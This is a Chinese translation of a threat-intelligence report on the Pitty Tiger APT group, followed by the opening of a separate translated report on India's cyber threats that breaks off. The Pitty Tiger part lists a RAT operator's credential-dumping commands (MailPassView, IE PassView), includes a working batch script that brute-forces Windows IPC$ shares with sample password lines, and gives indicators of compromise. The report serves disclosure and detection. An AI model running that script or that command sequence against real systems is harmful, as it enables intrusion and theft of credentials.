techsun.com.tw, 

skypetm.com.tw, 

kimoo.com.tw, 

symantecs.com.tw, 

hdskip.com

lightening.com.tw

WHOIS信息

helosaf.com.tw, 

seed01.com.tw

Paladin和PittyTiger样本指向lightening.com.tw的几个子域名

IP地址

seed01.com.tw

techsun.com.tw

WHOIS信息

webconference.com.tw

IP地址

webconference.com.tw, 

trendmicro.org.tw

dopodo.com.tw

WHOIS信息

acers.com.tw, 

foxcom.com.tw, 

stareastnet.com.tw

IP地址

stareastnet.com.tw, 

symantecs.com.tw,

kimoo.com.tw

foxcom.com.tw

WHOIS信息

acers.com.tw, 

dopodo.com.tw, 

stareastnet.com.tw

IP地址

stareastnet.com.tw, 

symantecs.com.tw, 

kimoo.com.tw

acers.com.tw

WHOIS信息

acers.com.tw, 

foxcom.com.tw, 

stareastnet.com.tw

IP地址

symantecs.com.tw, 

wmdshr.com, 

kimoo.com.tw

 

Pitty Tiger所用域名之间的联系

pitty_tiger 28

基于邮箱地址的Pitty Tiger所有域名注册信息的时间线

Pitty Tiger的一些域名注册时间已经很久,而从2010年起其域名注册量有所增长。所有注册域名所使用的邮箱地址都与Pitty Tiger组织有关联。 六、受害者 将这样有针对性攻击的受害者描述出来不是一个简单的任务。 我们发现Pitty Tiger在针对一家来自安全行业及官方学术网络的私人企业攻击上非常活跃,相信他们是想将之作为一个网络代理以为他们的活动行以方便。 我们还发现了一些其他公司和C&C服务器的网络连接,但是还没有证据表明他们是真正的受害者。 这些所谓的受害者来自不同的领域但绝大多数都位于欧洲国家。
  • 一家公司来自安全行业;
  • 一家公司来自能源行业;
  • 一家公司来自电信行业;
  • 一家公司擅长于web开发。
这其中专注于做web开发的公司显得可能奇怪,但是它所建立的网站对潜在的目标有着极大的吸引力。我们怀疑Pitty Tiger是利用这个网站进行鱼叉式钓鱼,继而攻击和这家做web开发公司相关的其他商业公司。 不得不提的是我们仅仅获得了三名攻击者的服务器访问权限,所以,我们相信Pitty Tiger有着比我们想象的更多的目标。 我们也发现针对不同的目标由攻击者发起的许多漏洞扫描,尽管没有迹象表明有被攻击。 在调查期间,我们在攻击者的服务器上发现了一个有5个Word文档的RAR压缩包和一个短小的C源代码。这些文档属于被攻击的那家安全公司,根据这些文档名称和对压缩包的直觉,我们认为这些是攻击者向一些人展示他们能力的数据——他们能够得到特定目标什么样的数据。这些文件仍然可以看到不同用户的备注,说明它们是正在使用中的文件而非旧文件。 更有趣的是,我们看到这些文件的一部分作为攻击者的附赠“礼物”出现在了Virus-Total上——可植入恶意软件的payload。 至此,我们能够想的两种可能性是:
  • 来自同一家公司的某个人已经被这些文档所攻击。
  • 来自其他公司的某个人已经被这些文档所攻击,这些所谓的其他公司可能是这家安全公司的合作伙伴或竞争对手。
因为无法确定这些特殊文档的去向,所以我们只能够猜测它们可能被用来提供给商业竞争对手或其他国家。 七、攻击者 在我们的调查期间,我们找出一些关于Pitty Tiger组织的有趣信息。在分析了不同搜集到的信息后,我们尝试描绘这个特殊威胁的样貌。 1、攻击者和C&C服务器的连接 我们能够获取到一台C&C服务器的所有RDP连接日志记录:

计算机名称

出现次数

IP地址

国家/地区

50PZ80C-1DFDCB8

65

23.226.178.162

27.155.90.80

27.155.110.81

27.156.49.223

58.64.177.60

59.53.91.33

103.20.192.11

110.90.60.250

110.90.61.69

110.90.62.185

120.32.113.97

120.32.114.209

121.204.33.130

121.204.33.153

183.91.52.230

美国

中国

中国

中国

香港

中国

香港

中国

中国

中国

中国

中国

中国

中国

香港

FLY-THINK

11

27.151.0.224

27.155.109.89

121.204.88.120

120.32.114.139

中国

中国

中国

中国

TIEWEISHIPC

2

27.16.139.143

中国

CHMXY-PC

1

58.61.40.5

中国

2014年4月初至204年七月初,攻击者和一台C&C服务器之间的RDP连接

这些连接中,无论是VPS还是动态IP地址,绝大多数都来自中国。 一台IP地址为58.61.40.5,计算机名称为CHMXY-PC的计算机通过RDP连接到C&C服务器,这个IP地址是广州省广州地区ADSL动态池中的地址。 pitty_tiger 29

CHMXY-PC所用的IP地址

少部分到C&C服务器的连接是通过IP地址为27.16.139.143,计算机名称为TIEWEISHIPC的计算机完成。这个IP地址属于湖北省省会武汉ADSL动态池。 pitty_tiger 30

计算机TIEWEISHIPC所用的IP地址

一些到C&C服务器的连接来自于名为FLY-THINK的计算机,且有着数个IP地址,所有IP都位于福建省福清市。这些IP地址都属于一个ADSL动态池。 pitty_tiger 31

计算机FLY-THINK所用的IP地址

大多数和C&C服务器的连接来自于有着数个IP地址、名为50PZ80C-1DFDCB8的电脑。有11个IP地址来自于中国的ADSL动态池:9个来自福建福清、1个来自福建省会福州以及1个来自江西省会南昌。还有最后一个IP地址来自于美国加利福尼亚州洛杉矶的VPS主机,但是该主机是由位于中国的VPS供应商XeVPS购买,并属于香港新网络有限公司AS38197系列。 pitty_tiger 32

计算机50PZ80C-1DFDCB8所用的IP地址

计算机FLY-THINK和计算机50PZ80C-1DFDCB8使用了不同的IP地址连接到C&C服务器,但是这些IP地址中的一些地址来自于相同的IP段: pitty_tiger 33

攻击者的两台计算机叠加后的IP段

我们将这些RDP连接采用地图方式绘制出来以产生一个图形化的视角: pitty_tiger 34

攻击者和一台C&C服务器的RDP连接

2、“TOOT” 我们发现Pitty Tiger组织中的一名成员在自己的系统上使用一些工具用来做测试,在我们获得C&C服务器访问权限时这些信息依然有效。 他使用早先的CT RAT进行了一些测试: pitty_tiger 35

2014年2月10日,用户“Toot”在名为“toot-2a601225a8”的计算机登陆到CT RAT

pitty_tiger 36

2014年4月9日,用户“Toot”在名为“toot-2a601225a8”的计算机登陆到CT RAT

pitty_tiger 37

2014年4月9日,用户“Toot”在名为“toot-2a601225a8”的计算机登陆到CT RAT

在这里我们能够看到一个名为“Toot”的用户从名为“toot-2a601225a8”的计算机登陆到CT RAT并执行一些命令。C&C服务器的IP地址也可以在这里看到——198.100.113.27。其他日志文件显示“Toot”是在用虚拟机做测试。 我们也能够看到系统信息:Microsoft Windows XP SP3。图中的“P”区域是语言ID,1028的意思是“繁体中文”。我们还能够看到“toot”所用系统的语言ID是2052,表示的是“简体中文”。 图中“M”区域很可能用来做版本信息,它被硬编码在二进制程序中。 在这些测试之后,我们能够看到一些用这款RAT连接到受害者的真实连接。下面是bot控制端启动后所执行的标准cmd命令:

命令

效果

cd\temp 变更文件夹
Dir 列出文件夹内容。在这里攻击者可能想查找他的工具或忘记了自己当前是否在system32路径中。
cd\windows\system32 变更文件夹
dir tools* 查找tools.exe,一个用来获取系统不同授权信息的工具。
tools 攻击者想查看工具可用的选项
tools –all Tools.exe被启动。在这里,工具输出向攻击者仅仅展示了成功获取的一个MSN明文证书、登陆名和密码,以及一个Microsoft Outlook证书。
type iecache.txt 向攻击者显示IE浏览器缓存。输出文件很大。
dir cmd.exe 查找cmd.exe
del tools.exe 在使用之后删除tools.exe
dir tools.exe 检查删除是否成功
del iecache.txt 删除IE缓存记录文件
regedit -e 1.reg  "HKEY_CURRENT_USER\Software\Microsoft\Windows  NT\CurrentVersion\Windows" 将该注册表键值内容导出到名为1.reg的文件。
type 1.reg 检查导出是否成功
del 1.reg 删除导出的文件
regedit -e v1.reg  "HKEY_CURRENT_USER\Software\Microsoft\Windows  NT\CurrentVersion\Windows" 再做一次相同动作。我们不知道为什么攻击者做一次和前一次相同的命令。
type v1.reg 再次检查文件导出
dir *.reg 查找当前文件夹中的残余reg文件
del v1.reg 删除剩下的*.reg文件
del c:\windows\system32\mfqtirq.exe 删除在攻击中使用的二进制文件
del c:\windows\system32\crupalo.dll 删除在攻击中使用的二进制文件
dir c:\windows\system32\mfqtirq.exe 检查删除是否成功
dir c:\windows\system32\crupalo.dll 检查删除是否成功
tasklist 列出当前系统中所有正在运行的应用程序和服务
tasklist >1.txt 保存之前命令的输出到1.txt
type 1.txt 检查文件内容
del 1.txt 移除文件
net start 列出所有当前系统正在运行的服务
dir mailpv* 查找“MailPass View”,一款提取多种邮件客户端邮箱密码的工具。
mailpv /stext 1.txt 启动MialPass View并请求将输出内容生成名为1.txt的文本文件。
type 1.txt 查找内容:
  • 一个MSN登陆名/密码

  • 一个和目标实体相关的POP3邮箱账户登录名/密码

del mailpv.exe 1.txt 删除两个文件
dir iepv* 查找“IE PassView”工具,一款从IE和公共域名提取密码的工具。
iepv /stext 1.txt 启动工具,将内容输出为1.txt的文本文件
type 1.txt 查找输出:空
del iepv.exe 1.txt 删除两个文件
攻击者正是像这样使用工具进行攻击,然后在电脑上结束与RAT的网络连接。 在这里有一点值得注意,攻击者至少拥有目标系统的管理员权限,因为他能够在Windows XP系统的system32中写入文件,也能够获得敏感的邮箱账户授权信息。 除了以上所有披露的信息,我们还发现Toot会连接到一个名为“百度网盘”的云服务,其账户的邮箱地址是dyanmips@qq.com(QQ:2589315828)。我们还查到了和Toot相关的另外两个邮箱账户:cisco_dyanmips@qq.com(QQ:204156335)和cisco_dynamips@qq.com(QQ:1878836793)。 我们并没有发掘出关于“Toot”用户的更多信息,因为对中文语言我们无能为力。 3、“COLD & SNOW”(寒江雪) 在CT RAT和Pitty Tiger RAT的“关于”对话框中显示的是以下信息,从中文翻译成英文是:
CT console (compatible pittytiger) v1.3 2013.12 by Trees and snow
由于自动翻译工具的原因,相信这里对于作者名称的翻译是不准确的。然而我们强烈地怀疑这个“Tres and snow”的昵称表示的并不是一个人,而是两个昵称分别为“Trees”和“Snow”的程序员。“Trees”也可以叫“Cold”,我们注意到这个词根据上下文的内容可以有不同的翻译和含义。再说一次,我们对于中文真是无能为力。 在这次调查中我们鉴别出两个分别叫Autumn Snow(秋雪)和Cold Air Kiss(风吻寒)的昵称。 我们对于Pitty Tiger RAT和CT RAT两款恶意软件的开发者信息确信无疑,但无法确定他们就是Pitty Tiger组织的一员。这些开发者可能仅仅是受雇开发这些RAT,他们可能仅仅是将RAT出售给Pitty Tiger。由于没有从其他攻击型组织中发现被使用的迹象,因此我们相信PittyTiger RAT是这个APT组织的专属工具。 4、角色和组织 基于我们收集的威胁活动的相关材料,我们对于这个组织的运营有一些假设。 我们有其中一个bot操控者角色的明确证据,并且能够确认它的昵称——TooT。尽管我们没有发现其他昵称,但是我们相信TooT是一个人而非一伙人。 我们也能够确认其中的恶意软件开发者角色,他们的昵称分别是Autumn Snow(秋雪)和Cold Air Kiss(风吻寒)。但是我们不确认他们是Pitty Tiger组织的一员,可能他们只是出售恶意软件的第三方。 我们怀疑还有一个协调者的角色,这个角色协调bot操控者,并为他们提供背后的支持(打包的恶意文档、工具等等),以及检验程序员的工作。这个位置可能代表的是和其他管理员的沟通渠道。我们将这个位置的角色命名为“Chen”,一个常用的中文名字,在C&C服务器的WHOIS信息和其他调查材料中都有提及。 我们怀疑还有一个做客户关系管理的位置,它在其中作为Chen和客户之间的接口,我们将这个位置命名为“Lilly”。 pitty_tiger 38

Pitty Tiger组织角色关系图

5、攻击者的“兵工厂” 在攻击者所使用的C&C服务器的各种不同文件夹中存储着许多有趣的文件:

文件名

文件描述

公开工具?

32m.exe/3200.exe/ieupdate.exe/

insert.exe/khuvaxu.exe

MM RAT

32mm.exe/mm32.exe

CT RAT

322.exe

中文版本的calc.exe,可能用于测试目的

client.exe

利用管道的文件传输工具

CP.exe/CP_sep.exe

Microsoft Outlook导出工具

CT.exe

CT RAT(2013.10)控制端

ct1.exe

CT RAT和PittyTiger RAT的控制端

Diruse.exe

显示路径树结构的工具

GlobalWind.exe

PittyTiger的控制端

gsec1.exe

GSecDump密码导出工具

http.exe/wsup.exe

MM RAT的控制端

km.exe

“Toyi”键盘记录器

logreader.exe

加密km.exe键盘记录数据的工具

Mailpv.exe

“Mail PassView”工具,用于提取不同邮箱客户端的邮箱密码。

Netpass.exe

“Network Password Recovery”工具,用于提取网络密码。

iepv.exe /iepv-jiake.exe

“IE PassView”工具,用于提取IE中的密码。Iepv-jiake.exe功能相同,只是使用DarkCrypt做了加壳处理。

routerpass.exe

“Router PassView”工具,用于提取一些路由器备份文件的认证信息。

pstpass.exe

“PstPassword”工具,用于提取Outlook的PST文件密码。

vncpass.exe

“VNCPassView”工具,用于提取存储在VNC工具中的密码。

rdpv.exe

“Remote Desktop PassView”工具,用于提取.RDP文件中的密码。

lookpass.exe

密码探测器

tools.exe, res.exe

多用途密码导出工具:RDP、VNC、IE、保护存储、MSN、无线等。

p2012.exe

Paladin v2.1控制端

p.exe

Paladin v2.2控制端

po.exe

TCP隧道工具

pp.exe

Paladin v2.1控制端

pr.exe

Dotpot端口扫描器

rar.exe

命令行版本的RAR打包工具

sff.exe

针对doc、txt、mdb、sec、eml、vsd、ppt、pps、dbx的文件搜索工具。

ssql.exe

MySQL扫描器

w7ij32.exe

Windows 7 DLL注入工具

ToyI.dll

键盘记录工具,可与w7ij32.exe结合使用。

winspre.exe

Troj/ReRol.A

dr.asp

Troj/ReRol.A的前端

sk.exe

Snake的SkServer

流光v5.1 Beta

漏洞扫描工具

feitafanghuoqiang

飞塔漏洞扫描器

Hscan1.2

漏洞扫描工具

mimi.exe, mimikaz64.exe

Minikatz密码导出工具

o2scan

漏洞扫描工具

Openssl

心脏出血漏洞利用程序

X-Scan-v3.3

X-Scan漏洞扫描工具

8uFTP

FTP客户端

NcFTP

FTP客户端

SEPM exploit

针对赛门铁克终端保护管理(CVE-2013-5014、CVE 2013-5015)的远程命令行执行exploit

s.exe

PHP扫描器

Shanian Port Scanner

端口扫描器

以下是这些APT攻击者常用的工具库:
  • 恶意软件(Troj/ReRol.A)
  • 远程管理工具(MM RAT、CT RAT、PittyTiger、Paladin)
  • 邮箱刺探工具(cp.exe、mailpv.exe)
  • 密码导出工具(gsecdump、NirSoft工具、Mimikatz等等)
  • 网络扫描器(pr.exe)
  • 网络导向工具(po.exe)
  • 漏洞扫描工具(ssql.exe、流光等)
很少能够找到这些工具的控制端程序,但我们幸运地得到了PittyTiger RAT和CT RAT的控制端,甚至得到了支持CT RAT和PittyTiger RAT的定制后的控制端。我们猜测CT RAT是PittyTiger RAT的升级版本,并在接下来的几个月中完全替代PittyTiger。 由Mircrosoft Windows官方提供的中文版本“calc.exe”的存在非常有趣,这不仅表明攻击的源头是在中国,而且说明这台服务器除了用于操控被感染的各种目标主机之外也很可能用于测试目的。 除了以上的这些工具,我们还发现了一些有趣的脚本。其中一个名为ipc.bat的脚本使用一个叫user.txt的文件尝试暴力破解共享文件夹访问权:

for /f "tokens=1,2 delims= " %%i in (user.txt) do (net use  \\<TARGETEDIP>\ipc$ "%%j" /u:%%i) 

&& (net use \\<TARGETEDIP> /del) && (echo user:%%i pass:%%j>>succ.txt)

这个user.txt文件内容有数千行,每一行由一个特定用户名和一个密码构成:

administrator nameofonetargetedcompany

administrator !Password

administrator azerty123

administrateurnameofonetargetedcompany

administrateur !Password

administrateur azerty123

<username>nameofonetargetedcompany

<username> !Password

<username> azerty123

<anotheruser>nameofonetargetedcompany

<anotheruser> !Password

<anotheruser> azerty123

用于暴力破解网络共享的文件

虽然user.txt文件已做变形处理,但是我们仍然想以此让读者感受一下。这个文件有67320行之多,并用了5610个不同的密码来分别匹配12个文件包含的用户名,这些用户名显然是经过枚举之后的结果,并且被专门用于一个特别的法国受害者。 文件中所包含的密码有些来自几次攻击活动的结果,有些来自此次攻击的结果。许多密码与目标企业相关,而且可能是用户之前使用的密码。 我们还发现了一组用来触发IE漏洞(CVE-2014-0322)的文件,其中Tope.swf和index.html文件日期是2014年2月18日,就在该漏洞的漏洞利用程序用于APT攻击一事被揭露的几天后。 我们不知道Pitty Tiger是否有使用这个漏洞利用程序,但是没有发现他们有使用的痕迹,尽管许多不同的攻击者看起来已经在利用这个漏洞了。 八、始作俑者 确定APT活动背后的始作俑者是相当困难的一件事,我们尝试结合前后的素材整理出不同的技术性指示。 攻击者所使用的工具信息有助于发现这些迹象:
  • 针对目标所使用的几款中文漏洞扫描器;
  • 在攻击者C&C服务器中发现所使用的中文工具:8uFTP、中文版calc.exe等;
  • 来自相同开发者的两款RAT:CT RAT和PittyTiger RAT。这些RAT的控制端显示的皆是中文;
  • 攻击者所使用的几个二进制程序的资源语言ID要么是“中文 - 中国”,要么是“中文 - 台湾”;
  • 用中文撰写的诱饵Word文档。
C&C域名所用的IP地址主要来自于台湾台北和中华人民共和国香港特别行政区的香港城: pitty_tiger 39

C&C服务器的托管信息关系图

大多数到C&C基础架构的RDP连接都是来自中国福建省福清市的IP段。然而一些IP地址也位于美国或香港: pitty_tiger 40

攻击者和C&C的RDP连接图

以上所有列出的内容表明攻击者很可能是中国人。 九、总结 Pitty Tiger是至少从2011年就开始活跃的APT攻击组织。 Pitty Tiger在使用针对性的恶意软件方面有效且娴熟,利用已知的漏洞利用程序和他们的恶意软件感染计算机,并创建了卓成成效的APT攻击基础构架。 但是他们在使用基础构架方面显得相当不专业:直接从C&C服务器发起漏洞扫描、将这些连接用作私人用途(例如下载色情视频,因为我们在C&C服务器上找到一个全部是xxx种子的文件)。 Pitty Tiger不太像是由国家资助的攻击组织,这些攻击者缺乏那些有国家支持的攻击者的经验和资金支持。我们猜想这是一个投机取巧型的组织,他们在私人领域向攻击目标的竞争对手出售自己的服务。 一家政府网络已经被这个组织盯上了,但是我们还没有他们这次攻击目的的佐证。我们猜测这次已经展开的攻击是要为他们自己提供一个可用的宽带。 我们所研究的攻击广泛集中于一个特定目标上,因此我们猜测Pitty Tiger组织是基于一个投机性的商业模式运行:这个组织可能在私人领域向第三方提供他们的服务。 相比其他的APT组织,Pitty Tiger看起来非常小。我们利用现有的一些材料在一定程度上能够识别一些攻击者,而我们也相信这个组织会像它现在这样继续运行下去,尽管他们成本有限,又或者他们会进一步扩展自己的攻击能力。 十、启示录 本节的内容旨在帮助大家检测Pitty Tiger APT攻击。 1、域名 Pitty Tiger组织所使用的域名(请注意所使用的子域名,在上文中有提及):
  • acers.com.tw
  • kimoo.com.tw
  • paccfic.com
  • foxcom.com.tw
  • dopodo.com.tw
  • trendmicroup.com
  • lightening.com.tw
  • avstore.com.tw
  • helosaf.com.tw
  • trendmicro.org.tw
  • stareastnet.com.tw
  • symantecs.com.tw
  • seed01.com.tw
  • skypetm.com.tw
2、恶意软件哈希值

MD5值

恶意软件家族

dc3d905ed90bbc148bccd34fe0c94d2d

dd87c68c1e71bb104a48a6be87a2349f 

a494010a51705f7720d3cd378a31733a

be18418cafdb9f86303f7e419a389cc9

0750569cf1733d4fbb01169476387cc2

3282a5e77f24c645984ef152a2aea874 

8a54adb3976d1c03605656ca55be7400

666ae21ceaea9bb8017a967ea6128add

a1ea6dc12b983c7262fe76c1b3663b24

d5da60d678d5a55a847e1e6723c7a4d0

55e456339936a56c73a7883ea1ddb672

abb0abfab252e45bfb9106273df3c1c2

PittyTiger RAT

4ab74387f7a02c115deea2110f961fd3

b6380439ff9ed0c6d45759da0f3b05b8

bf95e89906b8a17fd611002660ffff32

ce15fa3338b7fe780e85c511d5e49a98

5e2360a8c4a0cce1ae22919d8bff49fd

12854bb8d1e6a590e1bd578267e4f8c9

5e2360a8c4a0cce1ae22919d8bff49fd

c0656b66b9f4180e59e1fd2f9f1a85f2

79e48961d1ee982a466d222671a42ccb

Troj/ReRol.A

33714886dad497d6f0ecc255f0399004

3b498f19d467d2b8d4c778a92cacae9a

f71b374d341dc55b9b825531ba843f6d 

8df89df484ca5c376b763479ea08d036

0d3b3b422044759b4a08a7ad8afe55c7

789c23dfcd67a5543769a3f0261ea325 

96a59b9813202734f59ae809105e73d1

Paladin RAT

26be2cbb00158dfab6c81976d93748e8 

e7dc3bbe8b38b7ee0e797a0e27635cfa

4ce8593c9de2b27b5c389f651c81638b

f65dc0b3eeb3c393e89ab49a3fac95a8

b0a4302789e9716705d30ad1f8775a84

CT RAT

81fa811f56247c236566d430ae4798eb

MM RAT (也叫Troj/Goldsun-B)

3654496539faedfe137a1f989359aef0

Leo RAT

3、恶意软件字符串

字符串(文件/网络)

数据类型

恶意软件家族

/FC001/GET 文件字符串/网络字符串 PittyTiger RAT
---PittyTiger  文件字符串 PittyTiger RAT
netsvcs_0x%d 文件字符串 Paladin RAT
\MSREVT.SRG 文件字符串 Paladin RAT
/httpdocs/mm/<bot_id>/ComMand.sec 网络字符串 MM RAT
/httpdocs/prx.sec 网络字符串 MM RAT
CmdShell closed. 文件字符串 MM RAT
get file ok %u bytes 文件字符串 CT RAT
ok sleep %d minutes. 文件字符串 CT RAT
can't open mmfile 文件字符串 Troj/ReRol.A
Mozilla/4.0 (compatible;)  User-Agent Troj/ReRol.A
/dr.asp 网络字符串 Troj/ReRol.A
(全文完)

印度网络威胁概览

$
0
0

原文:iDefense全球威胁调查报告(GTRR)《The Cyber Threat Landscape in India》(2010年1月30日)

翻译:刘盖特

一、摘要

印度是一个充满反差和多样化的国家,其众多的族群、信仰、语言和政治变化构成了如今的文化和社会。印度最近也成为了世界IT产业的主角,印度的高等学校有很多的毕业生成为了程序员、计算机工程师或其他IT专业人士,这其中有许多人工作在在美国、澳大利亚、欧洲和全球其他国家。同时,班加罗尔地区也已经演变为印度的硅谷,那里运营着数量庞大且多样的IT公司。随着这种在信息和通信技术(ICT)方面激增式的发展,一个值得注意且充满IT安全挑战的特色网络已然在印度形成。

印度的IT安全挑战主要集中在来自斯里兰卡、巴基斯坦、马来西亚、印度尼西亚、泰国、中国和俄罗斯等地组织缜密的跨国团伙进行的信用卡和银行卡欺诈方面。这里也有大量的僵尸网络和命令与控制服务器(C&C)以及数量可观的旨在攻击本地和国际商务业务的钓鱼网站。iDefense分析师有充足的证据表明中东地区存在有政治动机的黑客主义(即黑客行为),在印度也是如此;由于其复杂和动态的社会政治性,黑客主义是普遍存在的,但是相对于其他信息安全威胁来说其危险性几乎可以忽略不计。

除了类似僵尸网络、银行欺诈、数据偷窃或网络间谍等纯粹的基于网络的威胁之外,在印度还有更多的基于真实世界的威胁。在这些威胁中可能有也可能没有网络因素,但都存在对国家的商业运营产生显著影响的可能性。这些威胁包括恐怖主义、政治暴力、政治官僚主义导致的贪污腐败和内部威胁的可能性,尤其是在业务流程外包的厂商,可能会涉及到世界各地公司的大量高敏感度和有价值的商业信息。

二、网络威胁概览矩阵

图2-1显示了对印度所有主要的网络威胁的一个近似评估。依照每种威胁发生的可能性和潜在的重要性进行排列。尽管对于某些类型进行公平可靠的统计是可行的,但是并不一定对其他类型也同样可行。因此,对这些网络威胁的评估是不精确的,而是借鉴了多重可靠数据、独立事件信息和iDefense的实地研究得来的。

 

India_GTRR 2.1

图2-1:印度网络安全威胁模型;Y轴表示发生的可能性,X轴表示重要性既可能影响的范围

  • 网络钓鱼——印度活跃的钓鱼网站每个月都在波动,印度和国际银行是钓鱼攻击的主要目标。尤其在印度的主要节假日,钓鱼网站会迅速增长。

  • 贪污腐败——包括政府官僚主义和其他问题,这在印度是地方性的,但是,其影响和结果都很可能从一个区域到其他区域有着巨大变化。

  • 信用卡犯罪——银行和信用卡的盗窃和诈骗仍然是主要问题,信用卡案件在整个印度始终存在且定期发生。

  • ATM犯罪——ATM犯罪和信用卡问题是紧密联系的。尽管印度的银行已经采取了更多的对策,但是ATM犯罪仍然是主要的网络威胁之一。

  • 僵尸网络感染——根据印度计算机应急响应团队(CERT-In)的报告,有大量的本地僵尸网络,包括成千上万台感染的电脑仍然在运作着。

  • 数据偷窃——大量的外包公司掌握了众多包括银行、组织和机构的敏感信息,使得数据偷窃成为了印度网络威胁的重要因素之一。

  • 恶意代码——CERT-In 官方发布了有关病毒和蠕虫数量的重要数据。

  • 内部威胁——即使在印度腐败的员工偷窃和倒卖敏感专利信息是一个重要问题,尤其是在外包公司、银行和其他可能存在大量有价值信息的地方,但是仍然必须考虑非恶意的内部威胁。这表示那些缺乏IT安全意识和计算机安全习惯(在工作电脑下载私人内容,与他人分享帐号等)的员工,可能泄漏敏感的商业信息。

  • 恐怖主义——不是严格意义上的在线威胁,印度会周期性的发生一些恐怖主义和政治动机的暴力。最近在孟买发生的袭击事件,在一些程度上可能有基于网络的部分参与。

  • 盗版——软件和媒体盗版在印度很猖獗,这是由多重因素决定的。人们普遍认为在南亚软件的价格对于大部分市民来说太高了,但这些软件却的确是必备的商业工具。

  • 黑客主义——在印度具有政治动机的黑客行为是一个重要的问题,但是大部分影响都可以被比较容易的消除(例如篡改页面)。印度黑客经常和巴基斯坦以及中国黑客进行页面篡改争夺站。攻击者们倾向于把目标对准政府组织机构等高调的网站。

  • DDoS攻击——考虑到在印度的僵尸网络的平均规模要比那些在俄罗斯、中国、欧洲和美国的要稍微小一些,在印度组织的DDoS攻击更加温和。然而,由于其自然的特性是在世界范围内按比例分布的,所以印度也可能受到从其他国家而来的DDoS攻击。

  • 服务中断和数据丢失——这类丢失可能对印度的偏远地区产生更严重的影响,因为其基础设施的备用能源可能并不是随时可用的。

  • 网络间谍——虽然印度的网络过滤和审查制度形同虚设,但是在孟买受到恐怖袭击的当周,印度政府就增加了其网络间谍的能力。同时,来自中国等外国权利机构的网络间谍威胁远高于那些本土的间谍行为。

  • 网络恐怖主义——尽管印度一些恐怖活动的确使用到了网络科技,但仅止步于此,并没有印度的组织或个人为了恐怖活动而使用一些有效的专业知识去造成大规模的破坏。

三、印度简介

India_GTRR 3.1由于人口超过了十亿,印度是一个充满反差和多样化的国家。这个地方分布了400多种不同的语言。根据宗教信仰,这里有基督教、伊斯兰教、佛教和印度的主要信仰印度教的大量教派。同时,印度是一个年轻的国家,刚刚在1947年8月15日从英国殖民地获得独立。下列的信息提供了有关印度社会、政治、经济和地理方面的关键数据:

首都:新德里

主要城市:德里,孟买,班加罗尔,加尔各答,金奈,帕纳吉

GDP:2008年大约1.237万亿(美元)

劳动力规模:估计5.163亿人

生活在贫困线以下的人口比例:2005年大约42%

人均收入:2007年1068(美元)

自1960年以来,印度经济在被政府官僚主义和各种教条限制中仍然发生了巨大的提高。从九十年代起,新的印度政府开始转变这种情形,印度经济到2008年已经增长了一万亿美元。然而,在印度很多地方基于土地的经济和财产形式仍然十分常见,在2007年才刚刚突破人均收入1000美元。在印度,尤其在信息安全领域,教育设施严重缺失。私营企业填补了一部分信息安全需要的缺失。政府和国有企业通常都缺失相关领域受过专业训练的人员,因此需要分配更多的资源用来在现在和未来培养警察、检察官、法官、信息安全专家、律师、法学教授、司法学生、计算机科学和工程学生,使得印度经济增长的主动力信息产业得以发展。

四、网络环境

作为一个非欧美国家,互联网在印度还是一个新的事物,但这也是一个进入的好时机。虽然如此,印度的大多数人民非常的贫穷,在乡村并且没有网络接通。根据多方面资源显示,网络普及率对比人口增长率,从2002到2007年大致发展如下:

年份

网络用户

总人口数

普及率

2002

16,500,000

1,094,870,677

1.6%

2003

22,500,000

1,094,870,677

2.1%

2004

39,200,000

1,094,870,677

3.6%

2005

50,600,000

1,112,225,812

4.5%

2006

40,000,000

1,112,225,812

3.6%

2007

42,000,000

1,129,667,528

3.7%

下表展示了2009年来自国际电气通讯联盟的常规统计,更加阐明了印度2009年的信息和通信技术环境。

国家人口

1,181,411,913

被移动电话信号覆盖的人口比例(2006)

60.90

每100人拥有固定电话数量

3.21

每100人持有移动电话数量

29.36

每100人拥有电脑数量(2007)

3.18

每100人互联网用户数(2007)

6.95

每100人宽带上网数

0.45

国际互联网带宽(单位mbps,2007)

35,747

每100人收音机数量(1997)

11.96

每100人电视机数量(2005)

13.37

2009年底,印度的互联网普及率高于5%。同时,其宽带普及率暴涨,尤其是从2004年到2006年(见图4-1)。

India_GTRR 4.1

图4-1:印度宽带订阅量 单位100000(卢比)

考虑到个人电脑对于大部分印度人,尤其是那些贫穷的或者偏远地区的人来说价格是比较高的,所以很难不夸大网吧在形成印度网络方面的作用。同时也很难说清印度网吧的拥有者在运营时有多么的不安全,更不必说那些中东、中亚和印度半岛的情况了。因此,在过去几年中,有很多或真或假的网络恶意行动是在网吧中发生的。这些行动促进了印度一些网吧进行银行密码偷窃并提款等网络犯罪行为。为了帮助遏制这一问题,2008年的IT法修正案中关于网吧的规定做出了重要的改变,然而,这一新的修正案中仍然有一些关于网吧的法律定义有一些潜在的冲突,或者是印度的一些邦早已使用的规定。2008年的IT法修正案要求印度的网吧记录客户的姓名、使用记录和其他管理信息,然而,iDefense调查表明,印度、巴基斯坦、斯里兰卡以及周边的一些国家和地区的很多网吧的拥有者经常使其网吧处于一种极度不安全的状态。在这种管理状态下,不存在访问记录,混乱的电脑绑定了无数的恶意、过期、试用版的软件,甚至完全没有防病毒软件,更不用说分级的用户访问限制了。考虑到这一现象在该地区广泛存在,当局如何在印度的偏远地区实施这一法令是一个亟待解决的问题。尽管如此,印度的网吧仍然为数以百万计的无法购买个人电脑的人提供一个重要的网络接入环境,在未来的印度网络安全中仍然会是一个重要的部分。

在印度,使用最广泛的社交网站有Orkut、Facebook、hi5、LinkedIn、MySpace、ApnaCircle、Bharat Student、BigAdda.com、yaari.com和ibibo。使用这些网站的主要人群年龄在15到35岁之间,他们使用这些网站来通信、与朋友联系、普通的娱乐和一些游戏。这些网站通常都允许用户上传个人信息、照片、博客和工作信息。这些网站的安全问题也很受关注,由于过于自由的隐私政策、缺乏认证机制和容易获得用户的照片和联系人电话等个人信息,Orkut被认为是最容易被利用的网站。有很多恶意的假用户在网络上诽谤,甚至制造全国性的煽动内容。印度的青年有约75%是网络用户,zapak.com和kreeda.com上的休闲游戏非常流行,然而,Second Life或The Sims等主题游戏或虚拟游戏在印度还没有正式立足。

4.1、本地黑客组织

